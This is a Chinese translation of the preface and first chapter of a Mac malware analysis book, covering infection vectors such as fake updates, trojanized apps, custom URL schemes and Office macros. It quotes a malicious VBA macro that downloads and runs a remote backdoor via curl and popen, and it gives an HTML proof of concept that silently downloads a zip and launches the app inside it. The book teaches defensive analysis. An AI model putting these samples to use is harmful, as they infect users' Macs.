MAC-恶意软件的艺术-全-
MAC 恶意软件的艺术(全)
原文:
zh.annas-archive.org/md5/b00d4b5f4866e6390784fac2f325848a译者:飞龙
前言

Mac 真的会感染恶意软件吗?如果我们相信曾在 Apple.com 上发布的一条苹果市场营销声明,显然答案是否定的:
[Mac]不会感染 PC 病毒。Mac 不容易受到困扰 Windows 系统的数千种病毒的攻击。这得益于 Mac OS X 内置的防护措施,能够在不需要你额外操作的情况下保障你的安全。^(1)
当然,这个说法相当具有误导性,值得一提的是,苹果公司很早就将其从官方网站上移除了。确实,这其中可能有一点事实依据;由于固有的跨平台不兼容性(而非苹果的“防御”),本地的 Windows 病毒通常无法在 macOS 上执行。但跨平台恶意软件早就开始同时针对 Windows 和 macOS 了。例如,2019 年,Windows 广告软件被发现在一个跨平台框架中打包,这使得它能够在 macOS 上运行。^(2)
不管市场营销的说法如何,苹果与恶意软件的共生历史由来已久。事实上,第一种“家庭电脑野病毒”——Elk Cloner曾感染了苹果操作系统。^(3) 从那时起,针对苹果电脑的恶意软件持续滋生。如今,Mac 恶意软件已成为对终端用户和企业日益增长的威胁,已不再令人惊讶。
这种趋势的原因有很多,但其中一个简单的原因是,随着苹果在全球电脑市场份额的增长,Mac 变成了一个更加吸引机会主义黑客和恶意软件作者的目标。根据 Gartner 的统计,苹果在 2021 年第二季度单独出货超过 600 万台 Mac。^(4) 换句话说,更多的 Mac 意味着更多的目标,进而带来更多的 Mac 恶意软件。
此外,尽管我们常常认为 Mac 主要是面向消费者的设备,但它在企业中的应用正在快速增加。一份 2020 年初的报告研究了这一趋势,指出苹果的系统如今已经在“财富 500 强”企业中使用。^(5) 不幸的是,这种增长也带来了旨在专门针对 macOS 企业环境的复杂恶意软件的增加,目的包括工业间谍活动等。
尽管苹果的市场份额仍然大体上落后于微软,一些研究表明,恶意威胁同样也针对 Mac,甚至更多。例如,Malwarebytes 在其“2020 年恶意软件报告”中指出:
而且,Mac 首次超越 Windows PC,在每个终端检测到的威胁数量上领先。^(6)
一个有趣的趋势,与 macOS 日益增长的流行度相符,是攻击者将他们的 Windows 恶意软件移植到 macOS,使其能够在 Apple 的桌面平台上原生运行。事实上,2020 年超过一半的新发现的独特 macOS 恶意软件“物种”最初源自 Windows 或非 macOS 平台。^(7) 最近,已经发现一些恶意软件样本的 macOS 变种,包括 Mami、Dacls、FinSpy、IPStorm 和 GravityRAT。
那么,为什么恶意软件作者不把他们的 Windows 或 Linux 恶意软件移植到 macOS 呢?这种恶意软件已经在其他操作系统上完成特性测试并且通过了验证。通过将这类恶意软件移植到 macOS(或者简单地重新编译为 macOS 版本),攻击者可以立刻获得与一整个新目标群体的兼容性。
另一方面,攻击者似乎也在投资 macOS 专用恶意软件。例如,2020 年的一份报告突显了越来越多由技术精湛的 macOS 黑客制造的 Mac 专用恶意软件攻击:
所有以上审查的样本出现在过去的八到十周内,证明了威胁行为者……也在跟上 Apple 平台的更新。这些攻击者不是简单地将 Windows 恶意软件移植到 macOS,而是那些专门为 Apple 平台编写定制恶意软件的 Mac 专用开发者。^(8)
正如下面的示例所展示的,这些发展导致了针对 macOS 及其用户的攻击和恶意软件的复杂化。
零日漏洞的使用
-
在题为“被火焰(Firefox)烧伤:Firefox 零日漏洞植入 macOS 后门”的文章中,我写到攻击者如何利用 Firefox 零日漏洞持续部署持久的 macOS 植入程序。^(9)
在另一份分析不同 macOS 恶意软件的报告中,TrendMicro 的研究人员指出:
我们发现了一次不同寻常的感染……在我们的调查中,最显著的是发现了两个零日漏洞:一个通过 Data Vaults 的行为缺陷窃取 cookies,另一个则被用来滥用 Safari 的开发版本。^(10)
复杂的针对性
-
在风 Shift APT 组织最近的攻击中,研究人员指出,“观察到 WINDSHIFT 发动了复杂且不可预测的针对特定个人的网络钓鱼攻击,并且很少针对企业环境。”^(11)
在另一个案例中,谷歌的研究人员发现了一起特别“针对香港网站访客的攻击,这些网站属于一家媒体机构和一个知名的支持民主的劳工及政治团体。”^(12) 这次攻击被归因于国家级攻击者,该攻击(同样利用了零日漏洞)旨在偷偷感染那些政治观点与当权者不同的 macOS 用户。
先进的隐匿技巧
-
在一份关于最近 Lazarus APT 小组 macOS 植入的报告中,我指出该小组的能力不断演进,正如“一个新样本能够远程下载并直接从内存执行有效负载”,从而挫败了各种基于文件的安全工具。”^(13)
在《FinFisher Filleted》中,我讨论了一个复杂的 macOS 恶意软件,提到了使用内核级 rootkit 组件。我指出该 rootkit “包含通过将目标进程从(进程)列表中取消链接来移除目标进程的逻辑。一旦移除,进程将被隐藏。”^(14)
绕过最近的 macOS 安全特性
-
在一份详细报告《All Your Macs Are Belong To Us》中,我写到了一个现在已经修补的漏洞 CVE-2021-30657,描述了恶意软件如何利用这一漏洞运行未签名和未认证的代码,“绕过所有文件隔离、Gatekeeper 和认证要求。”^(15)
最近,我分析了另一种被 Apple 无意认证的 macOS 恶意软件。正如我在分析中所讨论的,一旦被认证,“这些恶意负载被允许运行……即使是在 macOS Big Sur 上。”^(16)
这种攻击复杂度增加的原因仍在争论之中:它是因为 Mac 用户变得更加具备威胁意识(即:不再天真)吗?还是因为先进的 macOS 安全工具的可用性增加、macOS 核心安全性的提升,或者二者的结合?
让我们用 Kaspersky《威胁对 macOS 用户》报告中的一句话来结束这一部分,这句话总结了 Mac 与恶意软件之间的辩论:
我们关于 macOS 威胁的统计数据提供了相当有力的证据,表明关于该操作系统完全安全的说法不过是空洞的论调。然而,反对 macOS(以及 iOS)不可攻击这一观点的最大理由是,事实上已经有针对这些操作系统个别用户及其用户群体的攻击发生。在过去几年里,我们至少看到过八个攻击活动,其组织者假定 MacBook、iPhone 及其他设备的用户并不预计会遇到专为 Apple 平台打造的恶意软件。^(17)
总的来说,很明显,Mac 恶意软件将长期存在,并以越来越复杂和隐蔽的方式出现。
谁应该阅读本书?
你!如果你手中拿着这本书,请继续阅读。虽然对网络安全基础知识,甚至恶意软件基础的基本了解可能帮助你从这本书中获得更多,但它们并不是必备条件。也就是说,这本书是特别针对某些群体写的,包括但不限于:
-
学生们: 作为一名计算机科学专业的本科生,我对计算机病毒有浓厚的兴趣,并渴望有一本这样的书。如果你正在攻读技术学位并希望深入了解恶意软件,或许是为了提升或补充你的学习,这本书就是为你准备的。
-
Windows 恶意软件分析师: 我的恶意软件分析师生涯始于国家安全局(NSA),在那时我研究了针对美国军事系统的 Windows 恶意软件和漏洞。离开该机构后,我开始研究 macOS 威胁,但发现这一领域缺乏相关资源。从某种意义上说,这本书旨在填补这一空白。所以,如果你是一名 Windows 恶意软件分析师,想要了解如何分析针对 macOS 系统的威胁,这本书就是为你准备的。
-
Mac 系统管理员: 基于 Windows 的统一企业时代已基本过去。如今,Mac 在企业中变得越来越普遍。这催生了专门的 Mac 系统管理员以及(不幸的是)专注于运行 macOS 的企业系统的恶意软件作者。如果你是一名 Mac 系统管理员,了解那些针对你所保护的系统的威胁是至关重要的。这本书旨在为你提供这样的理解(以及更多内容)。
本书中的内容
全面分析 Mac 恶意软件需要理解多个话题并掌握许多技能。为了以实践的方式涵盖这些内容,本书被分为三个部分。
在第一部分《Mac 恶意软件基础》中,我们将涵盖一些基础性话题,包括 Mac 恶意软件的感染途径、持久性方法和能力。
在第二部分《Mac 恶意软件分析》中,我们将过渡到更高级的话题,如静态和动态分析工具与技术。前者涉及使用各种工具在不执行样本的情况下进行检查。静态分析通常以反汇编器或反编译器结束。动态分析则是在样本执行时进行分析,使用被动监控工具和调试器。
在第三部分《分析 EvilQuest》中,你将通过对一个复杂的 Mac 恶意软件样本 EvilQuest 进行深入分析,来应用书中所教授的所有知识。这一实践部分展示了你也可以如何分析即使是复杂的恶意软件样本。
拥有这些知识,你将顺利踏上成为一名熟练的 Mac 恶意软件分析师的道路。
关于 Mac 恶意软件术语的说明
牛津语言词典对恶意软件的定义如下:
专门设计用于干扰、破坏或非法访问计算机系统的软件。^(18)
你可以简单地将恶意软件理解为任何带有恶意意图编写的软件。
就像生活中的任何事情一样,总是存在灰色地带。例如,考虑一种与共享软件捆绑在一起的广告软件,用户在没有阅读长篇协议的情况下点击“允许”后才会安装。这算不算恶意软件?广告软件的作者会认为不是;他们甚至可能声称他们的软件为用户提供了一种服务,比如投放感兴趣的广告。这个论点可能听起来很荒谬,但即便是反病毒行业也会将此类软件称为“潜在不需要的软件”,以避免法律挑战。
在本书的背景下,这种分类大致上是无关紧要的,因为我的目标是为你提供分析任何程序、二进制文件或应用程序的工具和技术,而不管它是否具有恶意性质。
关于安全分析恶意软件的注意事项
本书演示了许多分析 Mac 恶意软件的实践技巧。在本书的第三部分,你甚至可以跟随分析一个名为 EvilQuest 的恶意软件样本。但由于恶意软件是有害的,因此应该小心处理。
作为恶意软件分析员,我们通常会在研究过程中故意运行恶意软件。通过在各种动态分析和监控工具的密切监视下执行恶意软件,我们将能够了解恶意样本如何感染系统并持久地安装自己,以及它随后部署的有效负载。但当然,这种分析必须在一个严格控制和隔离的环境中进行。
一种方法是使用独立计算机作为专用分析机器。该机器应以最简化的方式设置,禁用诸如文件共享等服务。在网络方面,大多数恶意软件需要互联网访问才能完全功能化(例如,连接到命令与控制服务器进行任务执行)。因此,这台分析机器应该以某种方式连接到网络。至少,建议通过 VPN 路由网络流量以掩盖你的位置信息。
然而,利用独立计算机进行分析也有其缺点,包括成本和复杂性。后者在你想要将分析系统恢复到干净的基准状态时尤为明显(例如,重新运行一个样本,或在分析新样本时)。尽管你可以重新安装操作系统,或者如果使用的是 Apple 文件系统(APFS),可以恢复到基准快照,但这两者都是相当耗时的工作。
为了解决这些缺点,你可以改为利用虚拟机进行分析。像 VMWare 和 Parallels 等公司提供适用于 macOS 系统的虚拟化选项。其基本理念很简单:虚拟化一个新的操作系统实例,使其可以与底层环境隔离,并且最重要的是,可以一键恢复到其原始状态。要安装新的虚拟机,请按照每个供应商提供的说明操作。这通常涉及下载操作系统安装程序或更新程序,将其拖放到虚拟化程序中,然后继续完成其余设置。
在执行任何分析之前,确保禁用虚拟机与主机系统之间的任何共享。运行勒索软件样本时,发现它能通过共享文件夹加密主机系统上的文件,那可就太不幸了!虚拟机还提供了网络选项,例如仅主机和桥接。前者只允许与主机进行网络连接,这在各种分析情境中可能非常有用,例如当你设置本地命令和控制服务器时。
如前所述,恢复虚拟机到其原始状态的能力可以极大地加快恶意软件分析速度,因为它可以让你在分析过程中恢复到不同的阶段。首先,你应该在开始分析之前始终拍摄一个快照,以便在分析完成后,你可以将虚拟机恢复到已知的干净状态。在分析过程中,你还应该明智地使用快照,例如在允许恶意软件执行某些核心逻辑之前。如果恶意软件未能执行预期的操作(可能是因为它检测到你的分析工具并提前退出),或者你的分析工具未能收集到你所需的数据,没关系。只需恢复到快照,进行必要的更改,然后让恶意软件重新执行。
虚拟机分析方法的主要缺点是恶意软件可能包含反虚拟机逻辑。这种逻辑试图检测恶意软件是否在虚拟机中运行。如果恶意软件能够成功检测到自己正在被虚拟化,它通常会退出,试图阻止继续分析。有关识别和克服这种逻辑并继续进行基于虚拟机的分析的方法,请参见第九章。
有关设置分析环境的更多信息,包括设置隔离虚拟机的具体步骤,请参见《如何在 macOS 上逆向恶意软件而不被感染》^(19)
其他资源
进一步阅读,我推荐以下资源。
书籍
以下是我最喜欢的一些书籍,涵盖逆向工程、macOS 内部原理以及一般恶意软件分析等主题:
-
“macOS/iOS (*OS) 内部结构”三部曲,作者 Jonathan Levin(Technologeeks Press,2017)
-
计算机病毒研究与防御艺术 作者 Peter Szor(Addison-Wesley Professional,2005)
-
逆向工程:逆向工程的秘密 作者 Eldad Eilam(Wiley,2005)
-
OS X 事件响应:脚本编写与分析 作者 Jaron Bradley(Syngress,2016)
网站
以前,关于 Mac 恶意软件分析的信息在网上非常匮乏。如今,情况已经大为改观。许多网站收集了相关信息,像我自己的 Objective-See 博客也专注于 Mac 安全话题。以下是一些我最喜欢的网站的非详尽列表:
-
papers.put.as/: 一个相当全面的关于 macOS 安全话题和恶意软件分析的论文和演示文稿档案库。 -
themittenmac.com/: 这是知名的 macOS 安全研究员和作者 Jaron Bradley 的网站,网站中包含了 macOS 的事件响应工具和威胁狩猎知识。 -
objective-see.com/blog.html: 我的博客,过去五年中发布了我以及其他安全研究人员在 macOS 恶意软件、漏洞利用等话题上的研究。
下载本书中的恶意软件样本
如果你想深入探讨书中的内容,或者以动手实践的方式跟进(我强烈推荐),本书中提到的恶意软件样本可以从 Objective-See 的在线恶意软件集合中下载。^(20) 集合中的样本密码是 infect3d。
值得重申的是,这个集合包含了真实的恶意软件。请不要感染自己!或者如果感染了,至少别怪我。
结尾注释
第一章:感染途径

恶意软件的感染途径是它获取系统访问权限的方式。多年来,恶意软件作者依赖的手段从简单的社会工程学技巧到先进的远程零日漏洞利用不等,以感染 Mac。在本章中,我们将讨论许多 Mac 恶意软件作者使用的最常见技术。
迄今为止,最流行的恶意代码感染 Mac 的方法是通过欺骗用户让其自行感染,通常是直接下载并运行恶意代码。(相比之下,远程利用等技术则少得多。)为了实现这一目标,攻击者通常会利用常见的社会工程学攻击,包括技术支持诈骗、散布虚假的更新、虚假应用程序、木马化的应用程序以及感染的盗版应用程序。
当然,苹果公司非常关注 macOS 感染趋势,以及大多数此类感染需要明确的用户交互才能成功这一事实。作为回应,他们主动引入了多种操作系统级别的安全机制,旨在保护 Mac 用户。让我们首先简要了解这些抗感染保护机制,然后再深入探讨具体的 macOS 感染途径。
Mac 保护机制
随着时间的推移,苹果一直在努力加强 macOS 的安全性,主要是为了防止用户协助的感染途径。这些保护机制中最古老的是文件隔离(File Quarantine),它在 OS X Leopard (10.5) 中首次引入。当用户首次打开一个下载的项时,文件隔离会向用户发出警告,要求明确确认才能允许文件执行;苹果的文档建议用户如果对文件的安全性有所怀疑,应点击取消。
为了应对不断演化的恶意软件感染途径,苹果在 OS X Mountain Lion (10.8) 中引入了 Gatekeeper。Gatekeeper 基于文件隔离功能(File Quarantine)构建,检查下载项的代码签名信息,并阻止那些不符合系统政策的项。(例如,它检查项是否使用有效的开发者 ID 签名。)想深入了解 Gatekeeper 的内部机制以及它的一些不足之处,请参见我的演讲《Gatekeeper Exposed》。^(1)
最近,macOS Catalina(10.15)通过引入应用程序公证要求,迈出了与用户辅助感染作斗争的又一步。这些要求确保苹果在允许软件运行之前扫描并批准所有软件^(2)。尽管这是应对基础 macOS 感染途径的一个优秀举措,但公证并非万无一失;恶意软件作者已迅速适应。一种简单的公证绕过方法利用了 macOS 仍然(截至 Big Sur)允许未公证的代码执行这一事实,尽管这需要用户手动协助。像旧版本 Shlayer 这样的恶意软件通过简单地指导用户如何运行恶意的未公证载荷,来利用这一事实(图 1-1)^(3)。

图 1-1:用户辅助的公证绕过说明(Shlayer)
Shlayer 的较新版本要狡猾得多。在某些情况下,其作者成功地欺骗了苹果,让其对他们的恶意创作进行公证^(4)。请查看 macOS 的spctl工具输出,我们在这里用它来显示 Shlayer 恶意应用程序Installer.app的代码签名信息(列表 1-1):
% **spctl -a -vvv -t install /Volumes/Install/Installer.app**
/Volumes/Install/Installer.app: accepted
**source=Notarized Developer ID**
origin=Developer ID Application: Morgan Sipe (4X5KZ42L4B)
列表 1-1:已公证的恶意软件(Shlayer)
source字段确认它被苹果误公证了。在后续章节中,我们将讨论代码签名的概念以及能够提取此类代码签名信息的工具。
不幸的是,其他恶意软件也被苹果错误地公证了。是的,虽然苹果最终意识到自己的错误并撤销了该恶意软件的开发者 ID 以撤回公证,但通常为时已晚。
尽管本章所描述的用户辅助感染途径不幸地在过去成功过,但最新版本的 macOS 常常能够成功阻止这些途径,这主要得益于公证要求。然而,这些感染途径仍然相关,因为使用旧版 macOS 的用户依然易受攻击,或者攻击者继续绕过、获得无意批准,或利用苹果严格公证要求中的漏洞。有关后者的示例,请参见我的博客文章《All Your Macs Are Belong To Us: 绕过 macOS 的文件隔离、Gatekeeper 和公证要求》^(5)。
恶意电子邮件
在涉及用户辅助感染途径时,恶意软件作者面临的第一个挑战是如何让恶意软件首先出现在用户面前。一种经过验证的方法是通过电子邮件。尽管大多数用户可能会忽视恶意电子邮件,但有些人可能会打开它们。但当然,除非电子邮件包含一些复杂的漏洞利用,否则仅仅打开一封电子邮件是不会导致感染的。
通常,攻击者要么直接通过电子邮件附件发送恶意软件,要么包含一个最终会指向恶意代码的 URL。在前一种情况下,电子邮件的正文可能包含指示,试图迫使用户打开并运行附件中的恶意软件。由于恶意附件可能伪装成无害的文档,用户可能会被误导打开它,从而不小心感染自己。
2017 年,研究人员发现了一种新的 Mac 恶意软件,针对的是一个广泛的电子邮件攻击活动中的用户。该恶意软件名为 Dok,它以一封声称要解决目标用户税务申报不一致的邮件形式到达。如果用户打开附件(Dokument.zip),他们会发现一个名称和图标设计用来掩盖它实际上是一个恶意应用程序的文件。^(6)
由于用户和安全工具通常对包含附件的电子邮件保持高度警惕,恶意电子邮件可能会改用包含恶意链接的方式。一旦点击,这些链接通常会将用户重定向到一个恶意网站,试图诱使用户下载并运行恶意代码。在本章的后续部分,我们将介绍多个示例,其中攻击者利用包含恶意链接的电子邮件作为多步骤感染途径的初步手段。
假冒技术与支持
另一个分发恶意软件的优秀机制当然是互联网。如果你是 Mac 用户,你可能在浏览网页时遇到过恶意弹窗。这些弹窗可能来自合法网站上的恶意广告、劫持或中毒的搜索结果,甚至是通过拼写劫持(typosquatting)技术的无良网站,后者通过注册与其他热门网站名称相似的恶意域名来针对不知情的用户。还有一些弹窗通过提供免费的内容吸引愿意访问的用户。通常,这些弹窗并不会直接安装恶意文件;相反,它们试图迫使用户自己感染自己。通常,这种情况从虚假的安全警告或更新开始。我们来简要看看前者的一个例子。
Homebrew,一个流行的包管理器,用于在 macOS 和 Linux 上安装软件,托管在brew.sh网站上。在 2020 年,网络犯罪分子通过域名homebrew.sh进行拼写劫持,试图让不知情的用户误访问该网站。如果用户访问了该站点,页面上会弹出各种显眼的提示,宣称用户的系统已被感染,并表示因“安全原因”被阻止访问(图 1-2)。

图 1-2:假冒的安全警告(Shlayer)
那些相信这些警告并拨打了所谓支持号码的用户,可能被强迫安装恶意软件,从而感染了他们的 Mac。正如 Mac 安全公司 Intego 所指出的,这些软件允许攻击者“远程访问你计算机上的信息,并可能进一步危害你的系统。”^(7)
假冒更新
攻击者还非常喜欢利用基于网页的弹窗显示虚假的更新警告。你可能曾遇到过浏览器弹窗,警告你 Adobe Flash Player 已过期。这些弹窗通常是恶意的,链接到一个下载页面,令人不惊讶的是,这并非合法的 Flash 更新,而是恶意软件(见图 1-3)。

图 1-3:虚假的 Flash Player 更新(Shlayer)
不幸的是,许多 Mac 用户仍然容易上当,认为更新是必要的,从而在此过程中感染了自己,通常是广告软件。
假冒应用程序
攻击者非常倾向于通过假冒应用程序来针对 Mac 用户。他们通常会试图欺骗用户下载并运行一个伪装成合法应用程序的恶意应用。与稍后会提到的木马化应用程序不同,假冒应用程序通常只是执行恶意负载然后退出,而不提供原应用的功能。因此,假冒应用程序通常没有任何异常。例如,Siggen 就通过伪装成流行的 WhatsApp 消息应用来针对 Mac 用户。(见[8)]攻击者控制的网站 message-whatsapp.com 会提供“一个包含应用程序的 zip 文件”,安全公司 Lookout 在推特中解释道(见[9)]。这个下载的 ZIP 文件,名为 WhatsAppWeb.zip,并非官方的 WhatsApp 应用程序(出乎意料,对吧),而是一个名为 WhatsAppService 的恶意应用。由于 message-whatsapp.com 网站看起来很合法(见图 1-4),普通用户没有注意到任何异常,就会下载并运行这个假冒的应用程序。

图 1-4:message-whatsapp.com 首页(Siggen)
木马化应用程序
想象你是一家流行加密货币交易所的员工,刚收到一封要求反馈新加密货币交易应用程序 JMTTrader 的电子邮件。邮件中的链接将你带到一个看起来合法的公司网站,网站上提示你下载声称是新应用程序的源代码和预编译二进制文件(图 1-5)。

图 1-5:JMTTrading 主页
下载、安装并运行应用程序后,依然没有异常出现;如预期所示,你会看到一个加密货币交易所的列表,可以选择其中一个开始交易(图 1-6)。

图 1-6:一个被植入木马的加密货币交易应用程序(Lazarus Group 后门)
不幸的是,尽管该应用程序的源代码完好无损,但 JMTTrader.app 的预编译安装程序已被偷偷植入了一个恶意后门。在安装过程中,这个后门安装了它自己的后门。这个特定的攻击被归咎于臭名昭著的 Lazarus APT Group,自 2018 年以来,他们一直采用这种相当复杂且多方面的社会工程方法来感染 Mac 用户。有关此 Lazarus Group 攻击的更多细节,以及他们对这种感染途径的普遍倾向,请参阅我的博客文章 “Pass the AppleJeus.”^(10)
盗版和破解应用程序
一种稍微复杂一些的攻击,虽然仍然需要用户进行高度互动,涉及将恶意软件打包进破解或盗版应用程序。在这种攻击场景中,恶意软件作者首先破解流行的商业软件,如 Photoshop,去除版权或许可限制。然后,他们会将恶意软件注入到软件包中,再分发给毫不知情的公众。下载并运行破解应用程序的用户将感染恶意软件。
例如,在 2014 年,恶意软件 iWorm 通过盗版的受欢迎的 OS X 应用程序传播,如 Adobe Photoshop 和 Microsoft Office,这些应用程序被攻击者上传到流行的 BT 网站 The Pirate Bay,如图 1-7 所示。

图 1-7:盗版应用程序(iWorm)
安装了这些应用程序的用户确实避免了为软件付费,但代价是潜伏的感染。有关 iWorm 如何持久感染 Mac 用户的更多详情,请参见“侵入核心:iWorm 的感染途径和持久机制”^(11)
最近,攻击者通过 VST Crack 网站分发恶意软件,分别称为 BirdMiner 和 LoudMiner。这些恶意软件通过盗版应用程序传播。著名的 Mac 恶意软件分析师 Thomas Reed 指出,BirdMiner 被发现在一个破解的高端音乐制作软件 Ableton Live 安装程序中。^(12) 此外,杀毒公司 ESET 发现了近 100 个与数字音频和虚拟工作室技术相关的盗版应用程序,这些应用程序包含 BirdMiner 恶意软件。^(13) 任何下载并安装这些盗版应用程序的用户都会使他们的系统感染该恶意软件。
自定义 URL 方案
恶意软件作者是非常狡猾且富有创意的一群人。因此,他们常常巧妙地滥用合法的 macOS 功能来感染用户。WindTail 恶意软件便是一个具有教育意义的典型例子。^(14)
WindTail 通过滥用 macOS 的各种功能感染 Mac 用户,包括 Safari 自动打开被认为是安全的文件和操作系统对自定义 URL 方案的注册。自定义 URL 方案是一项功能,允许一个应用程序启动另一个应用程序。为了感染 Mac 用户,恶意软件作者首先诱使目标访问一个恶意网页,该网页会自动下载包含恶意软件的 ZIP 压缩包。如果目标使用 Safari,浏览器会由于启用了默认的“下载后打开安全文件”选项,自动解压该压缩包(见图 1-8)。

图 1-8:Safari 的下载后打开“安全”文件功能
该压缩包的解压过程非常重要,因为 macOS 会在任何应用程序保存到磁盘后自动处理它,而解压自压缩包时便会发生这一过程。如果应用程序支持自定义 URL 方案,系统会将其注册为 URL 处理程序。
要确定一个应用程序是否支持自定义 URL 方案,您可以手动检查其 Info.plist 文件,该文件包含有关应用程序的元数据和配置信息。检查 WindTail 的 Info.plist 文件会发现它支持一个自定义 URL 方案:openurl2622007(见列表 1-2):
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
...
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleURLName</key>
<string>Local File</string>
<key>CFBundleURLSchemes</key>
<array>
<string>**openurl2622007**</string>
</array>
</dict>
</array>
...
</dict>
</plist>
列表 1-2:一个包含自定义 URL 方案 openurl2622007(WindTail)的Info.plist 文件
特别注意 CFBundleURLTypes 数组的存在,该数组包含 WindTail 支持的 URL 方案列表。在这个列表中,我们找到一个条目描述了 URL 方案,其中包括一个 CFBundleURLSchemes 数组,包含支持的方案:openurl2622007。在 Safari 自动解压应用程序后,macOS 启动服务守护进程(lsd)会解析应用程序,提取任何自定义 URL 方案,并将它们注册到启动服务数据库中。该数据库 com.apple.LaunchServices-231-v2.csstore 存储了诸如应用程序与 URL 方案映射等信息。您可以通过文件监控工具,如 macOS 的 fs_usage,被动地观察守护进程的文件操作(清单 1-3):
# fs_usage -w -f filesystem
open (R_____) ~/Downloads/Final_Presentation.app lsd
open (R_____) ~/Downloads/Final_Presentation.app/Contents/Info.plist lsd
PgIn[A] /private/var/folders/pw/sv96s36d0qgc_6jh45jqmrmr0000gn/0/
com.apple.LaunchServices-231-v2.csstore lsd
清单 1-3:观察启动服务守护进程(lsd)的文件 I/O 事件
在这个输出中,您可以看到 macOS 内置的文件监控工具(fs_usage)捕获启动服务守护进程(lsd),打开并解析恶意应用程序,并访问启动服务数据库(com.apple.LaunchServices-231-v2.csstore)。接下来,如果我们通过 lsregister 命令打印出数据库内容,可以看到一个新条目将恶意应用程序 Final_Presentation.app 映射到 openurl2622007 自定义 URL 方案(清单 1-4):
% **/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/**
**LaunchServices.framework/Versions/A/Support/lsregister -dump**
BundleClass: kLSBundleClassApplication
...
path: ~/Downloads/Final_Presentation.app
name: usrnode
claimed schemes: openurl2622007:
-------------------------------------------
claim id: Local File (0xbee4)
localizedNames: "LSDefaultLocalizedValue" = "Local File"
rank: Default
bundle: usrnode (0x8c64)
flags: url-type (0000000000000040)
roles: Viewer (0000000000000002)
bindings: openurl2622007:
清单 1-4:WindTail(Final_Presentation.app),现在作为自定义 URL 处理程序注册
现在操作系统已自动将恶意软件注册为 openurl2622007 自定义 URL 方案的处理程序,它可以直接从恶意网站启动。
清单 1-5 中的概念验证代码完全模仿了 WindTail 一旦用户访问其恶意网站后如何感染用户:
<html>
1 <body id="b" onload="exploit();"></body>
<script type="text/javascript">
function exploit () {
var a = document.createElement("a");
var x = document.getElementById("b");
a.setAttribute("href","https://foo.com/malware.zip");
a.setAttribute("download", "Final_Presentation");
x.appendChild(a);
2 a.click();
// wait for download and extraction to complete...
3 location.replace("openurl2622007://");
}
</script>
</html>
清单 1-5:通过 Safari 下载并启动 WindTail(一个概念验证)
在页面加载 1 时,JavaScript 代码执行了一个程序化点击 2,强制 Safari 自动下载包含恶意应用程序的 ZIP 存档,该应用程序具有自定义 URL 方案。下载完成后,Safari 会自动解压存档,触发自定义 URL 方案的注册。然后,通过 location.replace API,漏洞代码会向(新注册的)自定义 URL 方案 3 发出请求,从而触发恶意应用程序的启动!
对用户来说,幸运的是,Safari 和其他浏览器会显示一个警告,通知用户网页正在尝试启动一个应用程序。此外,macOS 可能会在应用程序实际启动时生成第二个警告。但由于攻击者可以将应用程序命名为某个无害的名称(例如Final_Presentation,如图 1-9 所示),普通用户可能会被诱骗点击“允许”和“打开”,从而感染自己。

图 1-9:浏览器警告……但这够吗?
Office 宏
尽管它们相对不复杂,但包含 Microsoft Office 宏的恶意文档已经成为感染 Mac 用户的一种流行手段。宏只是可以直接嵌入到 Office 文档中的命令。用户可以出于多种合法原因在 Office 文档中嵌入宏,比如自动化常见任务。但是,恶意软件作者也可以滥用它们,将恶意代码添加到原本无害的文件中。由于宏是微软的技术,它们幸运地在苹果的生产力工具套件中(包括 Pages 和 Notes)没有得到支持。然而,随着 macOS 在企业中的持续渗透,Microsoft Office 套件在 macOS 上的普及也急剧上升。黑客和恶意软件作者都意识到这一趋势,因此针对苹果用户的基于宏的攻击也在增加。例如,Lazarus APT 组织在 2019 年发起了针对 Mac 用户的基于宏的攻击。^(15)
为了使基于宏的攻击成功,用户必须在 Microsoft Office 应用程序中打开一个感染了的 Microsoft Office 文档(如 Word),并点击启用宏提示框(图 1-10)。

图 1-10:Microsoft Word 宏警告
宏代码通常是用 Visual Basic for Applications (VBA) 编写的,一般会调用微软的 API,如 AutoOpen 和 Document_Open,以确保其恶意代码在文档打开并且用户启用宏时会自动执行。
你可以使用诸如 开源 olevba 工具 提取嵌入的宏代码。例如,看看以下宏代码(清单 1-6),它出现在一个恶意 Word 文档中,目标是韩国用户:
% **olevba -c "샘플_기술사업계획서(벤처기업평가용.doc"**
Sub AutoOpen()
...
#If Mac Then 1
sur = "https://nzssdm.com/assets/mt.dat" 2
spath = "/tmp/": i = 0 3
Do
spath = spath & Chr(Int(Rnd * 26) + 97): i = i + 1
Loop Until i > 12
res = system("curl -o " & spath & " " & sur) 4
res = system("chmod +x " & spath)
res = popen(spath, "r") 5
清单 1-6:恶意宏代码(Lazarus Group 后门)
提取的 Mac 代码包含了 Mac 特定的逻辑,位于 #If Mac Then 块中 1。该代码首先执行一些初始化操作,包括设置一个带有远程 URL 的变量 2,并动态构建一个位于 /tmp 目录下的随机路径 3。接着,它使用 curl 下载远程资源 (mt.dat) 到随机生成的本地路径 4。一旦下载完成,它会调用 chmod 设置文件的可执行权限,并通过 popen API 执行该文件 5。这个下载的文件是一个持久化的 macOS 后门。在第四章中,我们将深入分析恶意 Office 文档的细节。
自 2016 年 Office 以来,macOS 上的 Microsoft Office 应用程序运行在一个限制性沙盒中,旨在限制任何恶意代码的影响。然而,在多个情况下,安全研究人员,包括作者本人,发现了微小的沙盒逃逸。如果你有兴趣了解更多关于基于宏的攻击和沙盒逃逸作为 macOS 感染向量的内容,可以查看我的演讲“Documents of Doom: Infecting macOS via Office Macros。”^(16)
Xcode 项目
有时,感染向量非常有针对性,就像 XCSSET 的案例一样。该恶意软件试图通过感染 Xcode 项目来感染 macOS 开发者。Xcode是开发 Apple 设备软件的事实标准 IDE。如果下载并构建一个 XCSSET 感染的 Xcode 项目,恶意代码会被自动执行,开发者的 Mac 也会被感染。发现 XCSSET 的趋势科技公司解释道:
这些 Xcode 项目已被修改,使得在构建时,这些项目会运行恶意代码。最终,这导致主 XCSSET 恶意软件被丢弃并在受影响的系统上运行。感染的用户还容易遭遇凭证、账户和其他重要数据被窃取的风险。^(17)
检查一个感染了 XCSSET 的 Xcode 项目,可以看到项目的project.pbxproj文件中有一个脚本,执行来自一个名为/.xcassets/的隐藏目录中的另一个脚本Assets.xcassets(图 1-11)。

图 1-11:感染 Xcode 项目中的恶意构建脚本(XCSSET)
构建被感染的项目会触发脚本的执行。查看Assets.xcassets脚本(清单 1-7)可以发现,它执行一个名为xcassets的二进制文件,这是恶意软件的核心组件:
